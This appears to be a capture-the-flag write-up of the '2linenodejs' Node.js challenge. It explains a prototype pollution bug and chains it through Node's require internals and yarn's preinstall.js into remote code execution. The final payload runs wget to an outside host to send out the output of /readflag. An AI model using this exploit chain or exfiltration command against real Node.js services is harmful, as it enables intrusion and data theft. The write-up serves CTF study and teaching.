RCE
The challenge is running server.js with socat on port 1337
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:'./server.js'The docker image used is node:18.8.0-alpine3.16
app
├── index.js
├── server.js
└── usage.js
#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
try{
console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
obj = JSON.parse(json);
console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
}catch{
require('./usage')
}finally{
process.exit();
}
});module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);console.log('Validate your JSON with <a href="/?{}">query</a>');First, there is obviously a Prototype Pollution vulnerability in index.js
module.exports=(O,o) => (
Object.entries(O).forEach(([K,V])=>
Object.entries(V).forEach(([k,v])=>
(o[K]=o[K]||{},o[K][k]=v)
)
), o
);For example, one such HTTP request can pollute the base prototype's attribute x to y
GET /?{"__proto__":{"x":"y"}} HTTP/1.1
Host: 2linenodejs.balsnctf.comThe server is run with socat, each connection will creat a new process, so the prototype pollution can only affect what is in that connection. After prototype pollution, only two things may happen before process.exit(), console.log or require('. /usage').
Since there is not much we can affect in console.log, the goal here is to cause some errors so that we can execute require('. /usage').
There are many ways to cause an error, for example, console.log takes the first parameter as a format string, so if we pollute the toString attribute and then include a %o in our JSON, when console.log calls toString internally, it will cause an error.
However, by polluting toString, it may cause an error after the fact. A better approach would be to raise an error in index.js, for example {"__proto__":{"__proto__":{}} would raise an error because the prototype of the base prototype cannot be changed, it must be null.
The next step is to find the usable gadget in the require function. By reading the source code of Node.js 18.8.0, we can find that if there is no package.json in current path or parrent path, we can change the require file by polluting data, data.name, data.exports and path at trySelf
function trySelf(parentPath, request) {
if (!parentPath) return false;
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
if (!pkg || pkg.exports === undefined) return false;
if (typeof pkg.name !== 'string') return false;
...
For example, the following payload will result in a prototype pollution, then cause an error and then require /app/server.js.
{
"__proto__":{
"data":{
"name":"./usage",
"exports":"./server.js"
},
"path":"/app/",
"__proto__":{
"x":1
}
}
}After Prototype Pollution and arbitrary require, the next step is to search through files in node:18.8.0-alpine3.16. To my surprise, there are many files that may give us RCE, the file I use is /opt/yarn-v1.22.19/preinstall.js.
The following code is the first few lines of preinstall.js
if (process.env.npm_config_global) {
var cp = require('child_process');
var fs = require('fs');
var path = require('path');
try {
var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
encoding: 'utf8',
stdio: ['ignore', undefined, 'ignore'],
}).replace(/\n/g, '');
...Here's a little trick worth mentioning, since Node.js's require is actually using vm to run code, we can set global variables by polluting contextExtensions, including process.
So we can controll process.env.npm_config_global, process.execPath and process.env.npm_execpath through
{
"__proto__":{
"contextExtensions":[
{
"process":{
"env":{
"npm_config_global":"1",
"npm_execpath":""
},
"execPath":"xxxx"
}
}
]
}
}But even if we can controll the executable and the first parameter of execFileSync, it is still a bit difficult to use, so the last step is to pollute the shell of execFileSync to sh, so that we can write arbitrary command directly in process.execPath.
Finally, chain everything above together, the final payload is
{
"__proto__":{
"data":{
"name":"./usage",
"exports":"./preinstall.js"
},
"path":"/opt/yarn-v1.22.19/",
"shell":"sh",
"contextExtensions":[
{
"process":{
"env":{
"npm_config_global":"1",
"npm_execpath":""
},
"execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"
}
}
],
"__proto__":{
"x":1
}
}
}HTTP request:
GET /?{"__proto__":{"data":{"name":"./usage","exports":"./preinstall.js"},"path":"/opt/yarn-v1.22.19/","shell":"sh","contextExtensions":[{"process":{"env":{"npm_config_global":"1","npm_execpath":""},"execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"}}],"__proto__":{"x":1}}} HTTP/1.1
Host: 2linenodejs.balsnctf.com